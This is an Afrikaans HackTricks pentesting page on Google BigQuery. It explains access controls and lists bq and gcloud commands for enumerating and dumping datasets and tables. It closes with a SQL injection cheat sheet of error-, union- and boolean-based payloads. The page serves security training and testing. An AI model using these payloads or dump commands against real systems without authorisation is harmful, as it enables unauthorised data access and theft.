GCP - Bigquery Enum

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Google Cloud BigQuery is ’n volledig bestuurde, serverlose ondernemingsdata-berging, wat vermoëns bied vir analise oor petabytes van data, en hanteer groot skaal datasets doeltreffend. As ’n Platform as a Service (PaaS), bied dit gebruikers infrastruktuur en gereedskap om data bestuur te fasiliteer sonder die behoefte aan handmatige toesig.

Dit ondersteun navraag met behulp van ANSI SQL. Die hoofobjekte is datasets wat tabelle bevat wat SQL data bevat.

Enkripsie

Standaard word ’n Google-beheerde enkripsiesleutel gebruik, alhoewel dit moontlik is om ’n Kliënt-beheerde enkripsiesleutel (CMEK) te konfigureer. Dit is moontlik om die enkripsiesleutel per dataset en per tabel binne ’n dataset aan te dui.

Vervaldatum

Dit is moontlik om ’n vervaltyd in die dataset aan te dui sodat enige nuwe tabel wat in hierdie dataset geskep word, automaties verwyder sal word na die gespesifiseerde aantal dae na skep.

Eksterne Bronne

Bigquery is diep geïntegreer met ander Google-dienste. Dit is moontlik om data van emmers, pub/sub, google drive, RDS-databasisse te laai…

Dataset ACLs

Wanneer ’n dataset geskep word, ACLs word aangeheg om toegang daartoe te gee. Standaard word Eienaar regte gegee aan die gebruiker wat die dataset geskep het en dan Eienaar aan die groep projectOwners (Eienaars van die projek), Skrywer aan die groep projectWriters, en Leser aan die groep projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Tabel Rye Beheer Toegang

Dit is moontlik om die rye wat ’n prinsiep toegang gaan hê tot binne ’n tabel te beheer met ry toegangbeleide. Hierdie word binne die tabel gedefinieer met DDL.
Die toegangbeleid definieer ’n filter en slegs die ooreenstemmende rye met daardie filter gaan toeganklik wees vir die aangeduide prinsiepe.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kolomme Toegang Beheer

Om data toegang op kolomvlak te beperk:

  1. Definieer ’n taksonomie en beleidsmerke. Skep en bestuur ’n taksonomie en beleidsmerke vir jou data. https://console.cloud.google.com/bigquery/policy-tags
  2. Opsioneel: Ken die Data Catalog Fine-Grained Reader rol aan een of meer principals toe op een of meer van die beleidsmerke wat jy geskep het.
  3. Ken beleidsmerke aan jou BigQuery kolomme toe. In BigQuery, gebruik skema annotasies om ’n beleidsmerk aan elke kolom toe te ken waar jy toegang wil beperk.
  4. Handhaaf toegangbeheer op die taksonomie. Die handhawing van toegangbeheer veroorsaak dat die toegangbeperkings wat vir al die beleidsmerke in die taksonomie gedefinieer is, toegepas word.
  5. Bestuur toegang op die beleidsmerke. Gebruik Identity and Access Management (IAM) beleide om toegang tot elke beleidsmerk te beperk. Die beleid is van toepassing op elke kolom wat aan die beleidsmerk behoort.

Wanneer ’n gebruiker probeer om kolomdata tydens ’n navraag te bekom, kontroleer BigQuery die kolom beleidsmerk en sy beleid om te sien of die gebruiker gemagtig is om toegang tot die data te hê.

Tip

As opsomming, om die toegang tot sekere kolomme vir sekere gebruikers te beperk, kan jy ’n merk aan die kolom in die skema voeg en die toegang van die gebruikers tot die merk beperk deur toegangbeheer op die taksonomie van die merk af te dwing.

Om toegangbeheer op die taksonomie af te dwing, is dit nodig om die diens in te skakel:

gcloud services enable bigquerydatapolicy.googleapis.com

Dit is moontlik om die etikette van kolomme te sien met:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumerasie

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Vir verdere inligting kan jy die blogpos nagaan: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier sal net ’n paar besonderhede gegee word.

Kommentaar:

  • select 1#from here it is not working
  • select 1/*between those it is not working*/ Maar net die aanvanklike een sal nie werk nie
  • select 1--from here it is not working

Kry inligting oor die omgewing soos:

  • Huidige gebruiker: select session_user()
  • Projek id: select @@project_id

Concat rye:

  • Alle tabelname: string_agg(table_name, ', ')

Kry datasets, tabelle en kolom name:

  • Projek en dataset naam:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Kolom en tabel name van alle die tabelles van die datastel:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Ander datastelle in dieselfde projek:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

SQL Injection tipes:

  • Foutgebaseer - casting: select CAST(@@project_id AS INT64)
  • Foutgebaseer - deling deur nul: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
  • Unie-gebaseer (jy moet ALL in bigquery gebruik): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
  • Boolean-gebaseer: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
  • Potensiële tydgebaseer - Gebruik van openbare datasets voorbeeld: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Dokumentasie:

Privilege Escalation & Post Exploitation

GCP - BigQuery Privesc

Persistensie

GCP - BigQuery Persistence

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks